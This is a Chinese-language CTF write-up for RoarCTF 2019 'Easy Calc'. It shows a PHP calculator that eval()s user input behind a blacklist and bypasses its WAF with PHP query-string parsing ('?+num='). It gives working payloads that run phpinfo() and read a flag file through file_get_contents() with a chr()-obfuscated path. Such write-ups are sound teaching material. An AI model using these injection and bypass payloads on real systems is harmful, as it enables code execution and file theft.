[RoarCTF 2019]Easy Calc

题目一打开，是一个计算器。

主页源代码如下，这里可以看到有一个 calc.php 文件，并且提示存在 WAF（疑）。

<!--I've set up WAF to ensure security.-->
<script>
    $('#calc').submit(function(){
        $.ajax({
            url:"calc.php?num="+encodeURIComponent($("#content").val()),
            type:'GET',
            success:function(data){
                $("#result").html(`<div class="alert alert-success">
            <strong>答案:</strong>${data}
            </div>`);
            },
            error:function(){
                alert("这啥?算不来!");
            }
        })
        return false;
    })
</script>

访问 calc.php 如下，可以看到过滤了很多字符。

<?php
error_reporting(0);
if(!isset($_GET['num'])){
    show_source(__FILE__);
}else{
        $str = $_GET['num'];
        $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
        foreach ($blacklist as $blackitem) {
                if (preg_match('/' . $blackitem . '/m', $str)) {
                        die("what are you want to do?");
                }
        }
        eval('echo '.$str.';');
}
?>

在 $num 中输入非数字，则会提示 403，判断可能是 WAF 拦截，猜测 WAF 是通过检测变量 $num 是否为数字来决定是否返回 403。因此，利用 PHP 的字符串解析特性来绕过检测。

PHP 的字符串解析特性
PHP 将查询字符串（在 URL 或正文中）转换为内部 $_GET 或关联数组 $_POST。值得注意的是，查询字符串在解析的过程中会将某些字符删除或用下划线代替。
例如：
/?foo=bar 变成 Array([foo]=>"bar")。
/? foo=bar 变成 Array([foo]=>"bar")。 # 注意，? 号后有一个空格。
/?+foo=bar 变成 Array([foo]=>"bar")。 # 注意，?号后有一个 + 号。

因此，Payload：/calc.php?+num=phpinfo() 即可执行 phpinfo() 函数。
随后，使用 var_dump() 函数、scandir() 函数、file_get_contents() 函数即可读取到 flag，Payload：/calc.php?+num=file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))。